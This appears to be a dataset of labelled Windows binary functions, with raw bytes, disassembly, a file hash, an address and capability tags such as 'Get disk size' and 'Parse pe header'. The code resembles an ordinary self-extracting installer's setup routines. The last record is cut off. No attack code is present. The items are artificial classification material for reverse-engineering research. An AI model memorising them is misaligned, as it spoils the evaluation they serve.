feffff80bdfafeffff0075056a0258eb2f80bdfafeffff3a0f85e4feffff0fbe85fbfeffff50ff15d0a140003c3174dc3c4174093c5574d4e9c5feffff33c04066a3388a4000e9b9feffff80bdfafeffff00750d33c040a32c8a4000e9a3feffff80bdfafeffff3a0f8594feffff8b8dfbfeffff84c90f8488feffff8db5fbfeffff0fbec14650ff15d0a140000fbec083e84574246a02592bc1741383e80f740433ffeb1c33c040a3348a4000eb1233c040a3308a4000eb0833c040a32c8a40008a068ac884c075b9e936feffff80bdfafeffff3a0f8527feffff33db8db5f8feffff80bdfbfeffff220f94c383c30303f38bce8d51018a014184c075f92bca0f84fcfdffff8d95f0feffff899df0feffff8bcee87dfbffff85c00f84e1fdffff0fbe85f9feffff50ff15d0a140003c54be3e8b40008b85f0feffff7405be3a8a400003c38d8df8feffff03c1ba04010000508bcee8a5b5ffff6840114000ba040100008bcee89e0400008bcee8edd0ffff85c00f858afdffff33c0e90501000080bdfafeffff00750d33c040a3248a4000e96dfdffff80bdfafeffff3a0f855efdffff33db8db5f8feffff80bdfbfeffff220f94c383c30303f38bce8d51018a014184c075f92bca0f8433fdffff6a5b5a8bcee82505000085c074126a5d5a8bcee81705000085c00f8413fdffff6a5d5a8bcee80505000085c074126a5b5a8bcee8f704000085c00f84f3fcffff8d95f0feffff899df0feffff8bcee874faffff85c00f84d8fcffff8b85f0feffff8d8df8feffff03c3ba0401000003c1b9428c400050e8b5b4ffffe9b5fcffff33dbba21050000536a4053684011400033c9e8d2e2ffffa18885400085c0740750ff1588a0400053ff152ca1400033ff8bc7eb038d43018b4dfc5f5e33cd5be8cc0a00008be55dc3e80d0c0000cc
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x110",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push ebx",
"xor ebx, ebx",
"push esi",
"push edi",
"lea edi, [ebx + 1]",
"test ecx, ecx",
"je 0x406204",
"cmp byte [ecx], bl",
"je 0x406204",
"test edi, edi",
"je 0x405dd2",
"mov al, byte [ecx]",
"cmp al, 0x20",
"je 0x405ced",
"cmp al, 9",
"je 0x405ced",
"cmp al, 0xd",
"je 0x405ced",
"cmp al, 0xa",
"je 0x405ced",
"cmp al, 0xb",
"je 0x405ced",
"cmp al, 0xc",
"jne 0x405cf8",
"push ecx",
"call dword [sym.imp.USER32.dll_CharNextA]",
"mov ecx, eax",
"jmp 0x405cd3",
"mov dword [ebp - 0x10c], ecx",
"test al, al",
"je 0x405dd2",
"mov eax, dword [ebp - 0x10c]",
"xor edx, edx",
"xor ecx, ecx",
"xor esi, esi",
"xor ebx, ebx",
"inc edx",
"test esi, esi",
"jne 0x405d47",
"mov al, byte [eax]",
"cmp al, 0x20",
"je 0x405db4",
"cmp al, 9",
"je 0x405db4",
"cmp al, 0xd",
"je 0x405db4",
"cmp al, 0xa",
"je 0x405db4",
"cmp al, 0xb",
"je 0x405db4",
"cmp al, 0xc",
"je 0x405db4",
"mov eax, dword [ebp - 0x10c]",
"jmp 0x405d4b",
"test ebx, ebx",
"jne 0x405db4",
"mov al, byte [eax]",
"cmp al, 0x22",
"jne 0x405d87",
"mov eax, dword [ebp - 0x10c]",
"cmp byte [eax + 1], 0x22",
"je 0x405d6c",
"xor eax, eax",
"inc eax",
"test esi, esi",
"jne 0x405d68",
"mov esi, eax",
"jmp 0x405d9f",
"mov ebx, eax",
"jmp 0x405d9f",
"cmp edx, 0x104",
"jae 0x4060fb",
"mov byte [ebp + ecx - 0x108], 0x22",
"inc ecx",
"push 2",
"inc edx",
"pop eax",
"jmp 0x405d9f",
"cmp edx, 0x104",
"jae 0x4060fb",
"mov byte [ebp + ecx - 0x108], al",
"inc ecx",
"xor eax, eax",
"inc edx",
"inc eax",
"add dword [ebp - 0x10c], eax",
"mov eax, dword [ebp - 0x10c]",
"cmp byte [eax], 0",
"jne 0x405d15",
"cmp ecx, 0x104",
"jae 0x406218",
"mov byte [ebp + ecx - 0x108], 0",
"test esi, esi",
"je 0x405e20",
"test ebx, ebx",
"jne 0x405e24",
"xor edi, edi",
"cmp dword [0x408a2c], 0",
"je 0x406200",
"cmp byte [0x408b3e], 0",
"jne 0x406200",
"push 0x104",
"push 0x408b3e",
"push dword [0x409a3c]",
"call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]",
"test eax, eax",
"je 0x4061fe",
"push 0x5c",
"pop edx",
"mov ecx, 0x408b3e",
"call fcn.004066c8",
"mov byte [eax + 1], 0",
"jmp 0x406200",
"test ebx, ebx",
"jne 0x405dd0",
"mov al, byte [ebp - 0x108]",
"cmp al, 0x2f",
"je 0x405e36",
"cmp al, 0x2d",
"jne 0x4060fb",
"movsx eax, byte [ebp - 0x107]",
"push eax",
"call dword [sym.imp.USER32.dll_CharUpperA]",
"movsx eax, al",
"sub eax, 0x3f",
"je 0x4061d0",
"sub eax, 4",
"je 0x406102",
"sub eax, 1",
"je 0x40604f",
"sub eax, 0xa",
"je 0x405fcc",
"sub eax, 3",
"je 0x405f84",
"sub eax, 1",
"je 0x405e99",
"dec eax",
"sub eax, 1",
"je 0x40604f",
"xor edi, edi",
"mov ecx, dword [ebp - 0x10c]",
"cmp byte [ecx], 0",
"jne 0x405ccb",
"jmp 0x405dd2",
"cmp byte [ebp - 0x106], 0",
"jne 0x405eb6",
"xor eax, eax",
"mov dword [0x409a2c], 3",
"inc eax",
"mov dword [0x408a28], eax",
"jmp 0x405e85",
"cmp byte [ebp - 0x106], 0x3a",
"jne 0x405f59",
"mov ecx, dword [ebp - 0x105]",
"xor ebx, ebx",
"inc ebx",
"mov dword [0x409a2c], ebx",
"test cl, cl",
"je 0x405e85",
"lea esi, [ebp - 0x105]",
"movsx eax, cl",
"inc esi",
"push eax",
"call dword [sym.imp.USER32.dll_CharUpperA]",
"movsx eax, al",
"sub eax, 0x41",
"je 0x405f3d",
"sub eax, 3",
"je 0x405f34",
"sub eax, 5",
"je 0x405f2b",
"sub eax, 5",
"je 0x405f22",
"dec eax",
"sub eax, 1",
"je 0x405f16",
"sub eax, 3",
"je 0x405f0d",
"xor edi, edi",
"jmp 0x405f4c",
"or dword [0x409a2c], 4",
"jmp 0x405f46",
"or dword [0x408d48], 0x80",
"jmp 0x405f4c",
"and dword [0x409a2c], 0xfffffffe",
"jmp 0x405f46",
"and dword [0x409a2c], 0xfffffffd",
"jmp 0x405f46",
"or dword [0x408d48], 0x40",
"jmp 0x405f4c",
"push 2",
"pop eax",
"or dword [0x409a2c], eax",
"mov dword [0x408a28], ebx",
"mov al, byte [esi]",
"mov cl, al",
"test al, al",
"jne 0x405edc",
"jmp 0x405e85",
"push 0xffffffffffffffff",
"lea eax, [ebp - 0x107]",
"push eax",
"push 0xffffffffffffffff",
"xor eax, eax",
"push 0x4013c8",
"inc eax",
"push eax",
"push 0x7f",
"call dword [sym.imp.KERNEL32.dll_CompareStringA]",
"dec eax",
"sub eax, 1",
"je 0x405e85",
"jmp 0x405e83",
"cmp byte [ebp - 0x106], 0",
"jne 0x405f92",
"push 2",
"pop eax",
"jmp 0x405fc1",
"cmp byte [ebp - 0x106], 0x3a",
"jne 0x405e83",
"movsx eax, byte [ebp - 0x105]",
"push eax",
"call dword [sym.imp.USER32.dll_CharUpperA]",
"cmp al, 0x31",
"je 0x405f8d",
"cmp al, 0x41",
"je 0x405fbe",
"cmp al, 0x55",
"je 0x405f8d",
"jmp 0x405e83",
"xor eax, eax",
"inc eax",
"mov word [0x408a38], ax",
"jmp 0x405e85",
"cmp byte [ebp - 0x106], 0",
"jne 0x405fe2",
"xor eax, eax",
"inc eax",
"mov dword [0x408a2c], eax",
"jmp 0x405e85",
"cmp byte [ebp - 0x106], 0x3a",
"jne 0x405e83",
"mov ecx, dword [ebp - 0x105]",
"test cl, cl",
"je 0x405e85",
"lea esi, [ebp - 0x105]",
"movsx eax, cl",
"inc esi",
"push eax",
"call dword [sym.imp.USER32.dll_CharUpperA]",
"movsx eax, al",
"sub eax, 0x45",
"je 0x40603a",
"push 2",
"pop ecx",
"sub eax, ecx",
"je 0x406030",
"sub eax, 0xf",
"je 0x406026",
"xor edi, edi",
"jmp 0x406042",
"xor eax, eax",
"inc eax",
"mov dword [0x408a34], eax",
"jmp 0x406042",
"xor eax, eax",
"inc eax",
"mov dword [0x408a30], eax",
"jmp 0x406042",
"xor eax, eax",
"inc eax",
"mov dword [0x408a2c], eax",
"mov al, byte [esi]",
"mov cl, al",
"test al, al",
"jne 0x406003",
"jmp 0x405e85",
"cmp byte [ebp - 0x106], 0x3a",
"jne 0x405e83",
"xor ebx, ebx",
"lea esi, [ebp - 0x108]",
"cmp byte [ebp - 0x105], 0x22",
"sete bl",
"add ebx, 3",
"add esi, ebx",
"mov ecx, esi",
"lea edx, [ecx + 1]",
"mov al, byte [ecx]",
"inc ecx",
"test al, al",
"jne 0x406078",
"sub ecx, edx",
"je 0x405e83",
"lea edx, [ebp - 0x110]",
"mov dword [ebp - 0x110], ebx",
"mov ecx, esi",
"call fcn.00405c17",
"test eax, eax",
"je 0x405e83",
"movsx eax, byte [ebp - 0x107]",
"push eax",
"call dword [sym.imp.USER32.dll_CharUpperA]",
"cmp al, 0x54",
"mov esi, 0x408b3e",
"mov eax, dword [ebp - 0x110]",
"je 0x4060c4",
"mov esi, 0x408a3a",
"add eax, ebx",
"lea ecx, [ebp - 0x108]",
"add eax, ecx",
"mov edx, 0x104",
"push eax",
"mov ecx, esi",
"call fcn.00401680",
"push 0x401140",
"mov edx, 0x104",
"mov ecx, esi",
"call fcn.0040658a",
"mov ecx, esi",
"call fcn.004031e0",
"test eax, eax",
"jne 0x405e85",
"xor eax, eax",
"jmp 0x406207",
"cmp byte [ebp - 0x106], 0",
"jne 0x406118",
"xor eax, eax",
"inc eax",
"mov dword [0x408a24], eax",
"jmp 0x405e85",
"cmp byte [ebp - 0x106], 0x3a",
"jne 0x405e83",
"xor ebx, ebx",
"lea esi, [ebp - 0x108]",
"cmp byte [ebp - 0x105], 0x22",
"sete bl",
"add ebx, 3",
"add esi, ebx",
"mov ecx, esi",
"lea edx, [ecx + 1]",
"mov al, byte [ecx]",
"inc ecx",
"test al, al",
"jne 0x406141",
"sub ecx, edx",
"je 0x405e83",
"push 0x5b",
"pop edx",
"mov ecx, esi",
"call fcn.0040667f",
"test eax, eax",
"je 0x406170",
"push 0x5d",
"pop edx",
"mov ecx, esi",
"call fcn.0040667f",
"test eax, eax",
"je 0x405e83",
"push 0x5d",
"pop edx",
"mov ecx, esi",
"call fcn.0040667f",
"test eax, eax",
"je 0x406190",
"push 0x5b",
"pop edx",
"mov ecx, esi",
"call fcn.0040667f",
"test eax, eax",
"je 0x405e83",
"lea edx, [ebp - 0x110]",
"mov dword [ebp - 0x110], ebx",
"mov ecx, esi",
"call fcn.00405c17",
"test eax, eax",
"je 0x405e83",
"mov eax, dword [ebp - 0x110]",
"lea ecx, [ebp - 0x108]",
"add eax, ebx",
"mov edx, 0x104",
"add eax, ecx",
"mov ecx, 0x408c42",
"push eax",
"call fcn.00401680",
"jmp 0x405e85",
"xor ebx, ebx",
"mov edx, 0x521",
"push ebx",
"push 0x40",
"push ebx",
"push 0x401140",
"xor ecx, ecx",
"call fcn.004044b9",
"mov eax, dword [0x408588]",
"test eax, eax",
"je 0x4061f7",
"push eax",
"call dword [sym.imp.KERNEL32.dll_CloseHandle]",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_ExitProcess]",
"xor edi, edi",
"mov eax, edi",
"jmp 0x406207",
"lea eax, [ebx + 1]",
"mov ecx, dword [ebp - 4]",
"pop edi",
"pop esi",
"xor ecx, ebp",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret",
"call fcn.00406e2a",
"int3"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x40621e
|
[
"Get common file path"
] |
8bff558bec81ec08010000a10480400033c58945fc68040100008d85f8feffff50ff1594a0400085c0751f506a105050baf004000033c9e85fe2ffffe826000000a32491400033c0eb0f6a025a528d8df8feffffe806f7ffff8b4dfc33cde85f0a00008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x108",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push 0x104",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]",
"test eax, eax",
"jne 0x406268",
"push eax",
"push 0x10",
"push eax",
"push eax",
"mov edx, 0x4f0",
"xor ecx, ecx",
"call fcn.004044b9",
"call fcn.00406285",
"mov dword [0x409124], eax",
"xor eax, eax",
"jmp 0x406277",
"push 2",
"pop edx",
"push edx",
"lea ecx, [ebp - 0x108]",
"call fcn.0040597d",
"mov ecx, dword [ebp - 4]",
"xor ecx, ebp",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x406298
|
[
"Extract resource via kernel32 functions"
] |
8bff558bec83ec20a10480400033c58945fc53565733f6894de45668d41340008d45e88975e033db6a145043e855b4ffffeb705056ff1528a1400050ff1518a140008bf885ff747f8d57088bca8d71018a014184c075f92bce8bf48d41018b4de403c25052ff7704ff37ff1588a24000ff55e43bf47407b904000000cd295785c0743aff15f4a040008b75e08d45e8465668d41340006a14508975e0e8e5b3ffff33f683c4108d45e86a0a5056ff15e0a0400085c00f8578ffffffeb1633dbff15f4a04000eb0cc70524914000140707808bde8b4dfc8bc35f5e33cd5be8660900008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x20",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push ebx",
"push esi",
"push edi",
"xor esi, esi",
"mov dword [ebp - 0x1c], ecx",
"push esi",
"push 0x4013d4",
"lea eax, [ebp - 0x18]",
"mov dword [ebp - 0x20], esi",
"xor ebx, ebx",
"push 0x14",
"push eax",
"inc ebx",
"call fcn.0040171e",
"jmp 0x40633b",
"push eax",
"push esi",
"call dword [sym.imp.KERNEL32.dll_LoadResource]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_LockResource]",
"mov edi, eax",
"test edi, edi",
"je 0x40635f",
"lea edx, [edi + 8]",
"mov ecx, edx",
"lea esi, [ecx + 1]",
"mov al, byte [ecx]",
"inc ecx",
"test al, al",
"jne 0x4062e8",
"sub ecx, esi",
"mov esi, esp",
"lea eax, [ecx + 1]",
"mov ecx, dword [ebp - 0x1c]",
"add eax, edx",
"push eax",
"push edx",
"push dword [edi + 4]",
"push dword [edi]",
"call dword [0x40a288]",
"call dword [ebp - 0x1c]",
"cmp esi, esp",
"je 0x406316",
"mov ecx, 4",
"int 0x29",
"push edi",
"test eax, eax",
"je 0x406355",
"call dword [sym.imp.KERNEL32.dll_FreeResource]",
"mov esi, dword [ebp - 0x20]",
"lea eax, [ebp - 0x18]",
"inc esi",
"push esi",
"push 0x4013d4",
"push 0x14",
"push eax",
"mov dword [ebp - 0x20], esi",
"call fcn.0040171e",
"xor esi, esi",
"add esp, 0x10",
"lea eax, [ebp - 0x18]",
"push 0xa",
"push eax",
"push esi",
"call dword [sym.imp.KERNEL32.dll_FindResourceA]",
"test eax, eax",
"jne 0x4062cb",
"jmp 0x40636b",
"xor ebx, ebx",
"call dword [sym.imp.KERNEL32.dll_FreeResource]",
"jmp 0x40636b",
"mov dword [0x409124], 0x80070714",
"mov ebx, esi",
"mov ecx, dword [ebp - 4]",
"mov eax, ebx",
"pop edi",
"pop esi",
"xor ecx, ebp",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x406495
|
[
"Check if file exists",
"Get file attributes"
] |
8bff558bec81ec08010000a10480400033c58945fc575168e491400051ba040100008d8df8feffffe8bfb2ffffbfd81140008d8df8feffff57ba04010000e8b20000008d85f8feffff50ff1570a0400083f8ff7417a81075136a086a008d85f8feffff50ff15a0a14000eb0757ff1578a040008b4dfc33cd5fe8cd0700008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x108",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push edi",
"push ecx",
"push 0x4091e4",
"push ecx",
"mov edx, 0x104",
"lea ecx, [ebp - 0x108]",
"call fcn.00401781",
"mov edi, 0x4011d8",
"lea ecx, [ebp - 0x108]",
"push edi",
"mov edx, 0x104",
"call fcn.0040658a",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]",
"cmp eax, 0xffffffff",
"je 0x406501",
"test al, 0x10",
"jne 0x406501",
"push 8",
"push 0",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]",
"jmp 0x406508",
"push edi",
"call dword [sym.imp.KERNEL32.dll_LoadLibraryA]",
"mov ecx, dword [ebp - 4]",
"xor ecx, ebp",
"pop edi",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x4066ae
|
[
"Check if file exists",
"Get file attributes"
] |
8bff51ff1570a0400083f8ff750333c0c3c1e804f7d083e001c3
|
[
"mov edi, edi",
"push ecx",
"call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]",
"cmp eax, 0xffffffff",
"jne 0x4066bf",
"xor eax, eax",
"ret",
"shr eax, 4",
"not eax",
"and eax, 1",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x40681f
|
[
"Check os version",
"Query or enumerate registry value"
] |
8bff558bec81ecb4000000a10480400033c58945fc56578b3dd881400033f6c78550ffffff0c00000089b554ffffff83fffe0f85e90000008d855cffffff8935d881400050c7855cffffff94000000ff1514a1400085c00f84be00000033ff4739bd6cffffff0f85af00000083bd60ffffff040f85a200000083bd64ffffff0a0f83950000006a4aff151ca2400085c00f84850000008d8558ffffff5068190002005668e01340006801000080ff1508a0400085c075648d8550ffffff508d45f0508d854cffffff50566840114000ffb558ffffffff1528a04000ffb558ffffff8bf0ff1530a0400085f6752e8d9554ffffff8d4df0e8dffdffff85c0741c8b8554ffffff25ff0300003bc7740583f80d7508893dd8814000eb068b3dd88140008b4dfc8bc75f33cd5ee8920300008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0xb4",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push esi",
"push edi",
"mov edi, dword [0x4081d8]",
"xor esi, esi",
"mov dword [ebp - 0xb0], 0xc",
"mov dword [ebp - 0xac], esi",
"cmp edi, 0xfffffffe",
"jne 0x406940",
"lea eax, [ebp - 0xa4]",
"mov dword [0x4081d8], esi",
"push eax",
"mov dword [ebp - 0xa4], 0x94",
"call dword [sym.imp.KERNEL32.dll_GetVersionExA]",
"test eax, eax",
"je 0x40693a",
"xor edi, edi",
"inc edi",
"cmp dword [ebp - 0x94], edi",
"jne 0x40693a",
"cmp dword [ebp - 0xa0], 4",
"jne 0x40693a",
"cmp dword [ebp - 0x9c], 0xa",
"jae 0x40693a",
"push 0x4a",
"call dword [sym.imp.USER32.dll_GetSystemMetrics]",
"test eax, eax",
"je 0x40693a",
"lea eax, [ebp - 0xa8]",
"push eax",
"push 0x20019",
"push esi",
"push 0x4013e0",
"push 0x80000001",
"call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]",
"test eax, eax",
"jne 0x40693a",
"lea eax, [ebp - 0xb0]",
"push eax",
"lea eax, [ebp - 0x10]",
"push eax",
"lea eax, [ebp - 0xb4]",
"push eax",
"push esi",
"push 0x401140",
"push dword [ebp - 0xa8]",
"call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]",
"push dword [ebp - 0xa8]",
"mov esi, eax",
"call dword [sym.imp.ADVAPI32.dll_RegCloseKey]",
"test esi, esi",
"jne 0x40693a",
"lea edx, [ebp - 0xac]",
"lea ecx, [ebp - 0x10]",
"call fcn.004066f9",
"test eax, eax",
"je 0x40693a",
"mov eax, dword [ebp - 0xac]",
"and eax, 0x3ff",
"cmp eax, edi",
"je 0x406932",
"cmp eax, 0xd",
"jne 0x40693a",
"mov dword [0x4081d8], edi",
"jmp 0x406940",
"mov edi, dword [0x4081d8]",
"mov ecx, dword [ebp - 4]",
"mov eax, edi",
"pop edi",
"xor ecx, ebp",
"pop esi",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x406952
|
[
"Get disk size"
] |
8bff558bec83ec105633f68039008975f88975fc8975f08975f474338d45f4508d45f0508d45fc508d45f85051ff155ca1400085c074188b45fc0faf45f86800040000ff75f450ff1558a140008bf08bc65e8be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x10",
"push esi",
"xor esi, esi",
"cmp byte [ecx], 0",
"mov dword [ebp - 8], esi",
"mov dword [ebp - 4], esi",
"mov dword [ebp - 0x10], esi",
"mov dword [ebp - 0xc], esi",
"je 0x4069a1",
"lea eax, [ebp - 0xc]",
"push eax",
"lea eax, [ebp - 0x10]",
"push eax",
"lea eax, [ebp - 4]",
"push eax",
"lea eax, [ebp - 8]",
"push eax",
"push ecx",
"call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]",
"test eax, eax",
"je 0x4069a1",
"mov eax, dword [ebp - 4]",
"imul eax, dword [ebp - 8]",
"push 0x400",
"push dword [ebp - 0xc]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_MulDiv]",
"mov esi, eax",
"mov eax, esi",
"pop esi",
"mov esp, ebp",
"pop ebp",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x406a60
|
[
"Terminate process"
] |
e8f0060000e9000000006a5868b8724000e89207000033db895de08d459850ff1584a14000895dfc64a1180000008b70048bfbbaac8840008bce33c0f00fb10a85c074183bc6750733f6468bfeeb1068e8030000ff1588a14000ebd733f6463935b0884000750a6a1fe82605000059eb3a391db0884000752c8935b088400068c410400068b8104000e851010000595985c07417c745fcfeffffffb8ff000000e9340100008935e48140003935b0884000751b68b410400068ac104000e8e00600005959c705b08840000200000085ff750933c0b9ac8840008701833db488400000742368b4884000e8120500005985c07414536a02538b35b48840008bceff1588a24000ffd6a13ca240008b308975e48b7de08a0e80f920774a84c9741585ff754284c9740d80f9207708468975e48a0eebeff645c40174060fb745c8eb036a0a585056536800004000e84bc0ffffa3e0814000833df881400000756050ff1560a2400080f922750c33c085ff0f94c08bf8897de00fb6c150ff1550a240005985c07404468975e4468975e4eb85833de481400000750bff1558a24000a1e0814000c745fcfeffffffe80f060000c3
|
[
"call fcn.00407155",
"jmp 0x406a6a",
"push 0x58",
"push 0x4072b8",
"call fcn.00407208",
"xor ebx, ebx",
"mov dword [ebp - 0x20], ebx",
"lea eax, [ebp - 0x68]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]",
"mov dword [ebp - 4], ebx",
"mov eax, dword fs:[0x18]",
"mov esi, dword [eax + 4]",
"mov edi, ebx",
"mov edx, 0x4088ac",
"mov ecx, esi",
"xor eax, eax",
"lock cmpxchg dword [edx], ecx",
"test eax, eax",
"je 0x406abc",
"cmp eax, esi",
"jne 0x406aaf",
"xor esi, esi",
"inc esi",
"mov edi, esi",
"jmp 0x406abf",
"push 0x3e8",
"call dword [sym.imp.KERNEL32.dll_Sleep]",
"jmp 0x406a93",
"xor esi, esi",
"inc esi",
"cmp dword [0x4088b0], esi",
"jne 0x406ad1",
"push 0x1f",
"call sub.msvcrt.dll__amsg_exit",
"pop ecx",
"jmp 0x406b0b",
"cmp dword [0x4088b0], ebx",
"jne 0x406b05",
"mov dword [0x4088b0], esi",
"push 0x4010c4",
"push 0x4010b8",
"call fcn.00406c3f",
"pop ecx",
"pop ecx",
"test eax, eax",
"je 0x406b0b",
"mov dword [ebp - 4], 0xfffffffe",
"mov eax, 0xff",
"jmp 0x406c39",
"mov dword [0x4081e4], esi",
"cmp dword [0x4088b0], esi",
"jne 0x406b2e",
"push 0x4010b4",
"push 0x4010ac",
"call sub.msvcrt.dll__initterm",
"pop ecx",
"pop ecx",
"mov dword [0x4088b0], 2",
"test edi, edi",
"jne 0x406b3b",
"xor eax, eax",
"mov ecx, 0x4088ac",
"xchg dword [ecx], eax",
"cmp dword [0x4088b4], 0",
"je 0x406b67",
"push 0x4088b4",
"call fcn.00407060",
"pop ecx",
"test eax, eax",
"je 0x406b67",
"push ebx",
"push 2",
"push ebx",
"mov esi, dword [0x4088b4]",
"mov ecx, esi",
"call dword [0x40a288]",
"call esi",
"mov eax, dword [sym.imp.msvcrt.dll__acmdln]",
"mov esi, dword [eax]",
"mov dword [ebp - 0x1c], esi",
"mov edi, dword [ebp - 0x20]",
"mov cl, byte [esi]",
"cmp cl, 0x20",
"ja 0x406bc5",
"test cl, cl",
"je 0x406b94",
"test edi, edi",
"jne 0x406bc5",
"test cl, cl",
"je 0x406b94",
"cmp cl, 0x20",
"ja 0x406b94",
"inc esi",
"mov dword [ebp - 0x1c], esi",
"mov cl, byte [esi]",
"jmp 0x406b83",
"test byte [ebp - 0x3c], 1",
"je 0x406ba0",
"movzx eax, word [ebp - 0x38]",
"jmp 0x406ba3",
"push 0xa",
"pop eax",
"push eax",
"push esi",
"push ebx",
"push 0x400000",
"call main",
"mov dword [0x4081e0], eax",
"cmp dword [0x4081f8], 0",
"jne 0x406c1e",
"push eax",
"call dword [sym.imp.msvcrt.dll_exit]",
"cmp cl, 0x22",
"jne 0x406bd6",
"xor eax, eax",
"test edi, edi",
"sete al",
"mov edi, eax",
"mov dword [ebp - 0x20], edi",
"movzx eax, cl",
"push eax",
"call dword [sym.imp.msvcrt.dll__ismbblead]",
"pop ecx",
"test eax, eax",
"je 0x406be9",
"inc esi",
"mov dword [ebp - 0x1c], esi",
"inc esi",
"mov dword [ebp - 0x1c], esi",
"jmp 0x406b74",
"cmp dword [0x4081e4], 0",
"jne 0x406c32",
"call dword [sym.imp.msvcrt.dll__cexit]",
"mov eax, dword [0x4081e0]",
"mov dword [ebp - 4], 0xfffffffe",
"call fcn.0040724d",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x406f54
|
[
"Parse pe header"
] |
6a0c68d8724000e8a802000033c98b450885c0744b83f8ff7446894dfcba4d5a000066391075328b503c85d2782b81fa00000010732303c28945e48b0881e950450000f7d91bc9f7d123c8eb09894de4c745fcfeffffff8bc1e892020000c20400
|
[
"push 0xc",
"push 0x4072d8",
"call fcn.00407208",
"xor ecx, ecx",
"mov eax, dword [ebp + 8]",
"test eax, eax",
"je 0x406fb4",
"cmp eax, 0xffffffff",
"je 0x406fb4",
"mov dword [ebp - 4], ecx",
"mov edx, 0x5a4d",
"cmp word [eax], dx",
"jne 0x406fad",
"mov edx, dword [eax + 0x3c]",
"test edx, edx",
"js 0x406fad",
"cmp edx, 0x10000000",
"jae 0x406fad",
"add eax, edx",
"mov dword [ebp - 0x1c], eax",
"mov ecx, dword [eax]",
"sub ecx, 0x4550",
"neg ecx",
"sbb ecx, ecx",
"not ecx",
"and ecx, eax",
"jmp 0x406faa",
"mov dword [ebp - 0x1c], ecx",
"mov dword [ebp - 4], 0xfffffffe",
"mov eax, ecx",
"call fcn.0040724d",
"ret 4"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x407010
|
[
"Enumerate pe sections"
] |
8bff558bec8b450833d25356578b483c03c80fb741140fb7590683c01803c185db741b8b7d0c8b700c3bfe72098b480803ce3bf9720a4283c0283bd372e833c05f5e5b5dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"mov eax, dword [ebp + 8]",
"xor edx, edx",
"push ebx",
"push esi",
"push edi",
"mov ecx, dword [eax + 0x3c]",
"add ecx, eax",
"movzx eax, word [ecx + 0x14]",
"movzx ebx, word [ecx + 6]",
"add eax, 0x18",
"add eax, ecx",
"test ebx, ebx",
"je 0x40704e",
"mov edi, dword [ebp + 0xc]",
"mov esi, dword [eax + 0xc]",
"cmp edi, esi",
"jb 0x407046",
"mov ecx, dword [eax + 8]",
"add ecx, esi",
"cmp edi, ecx",
"jb 0x407050",
"inc edx",
"add eax, 0x28",
"cmp edx, ebx",
"jb 0x407036",
"xor eax, eax",
"pop edi",
"pop esi",
"pop ebx",
"pop ebp",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x407120
|
[
"Parse pe header"
] |
8bff558bec8b4d08b84d5a0000663901751f8b413c03c18138504500007512b90b010000663948187507b8010000005dc333c05dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"mov ecx, dword [ebp + 8]",
"mov eax, 0x5a4d",
"cmp word [ecx], ax",
"jne 0x407151",
"mov eax, dword [ecx + 0x3c]",
"add eax, ecx",
"cmp dword [eax], 0x4550",
"jne 0x407151",
"mov ecx, 0x10b",
"cmp word [eax + 0x18], cx",
"jne 0x407151",
"mov eax, 1",
"pop ebp",
"ret",
"xor eax, eax",
"pop ebp",
"ret"
] |
031bffe87ed649ca34eaeac4fbb205507fcd8031de1e6400c16c668c92e12f0f
|
0x433000
|
[
"Encode data using xor",
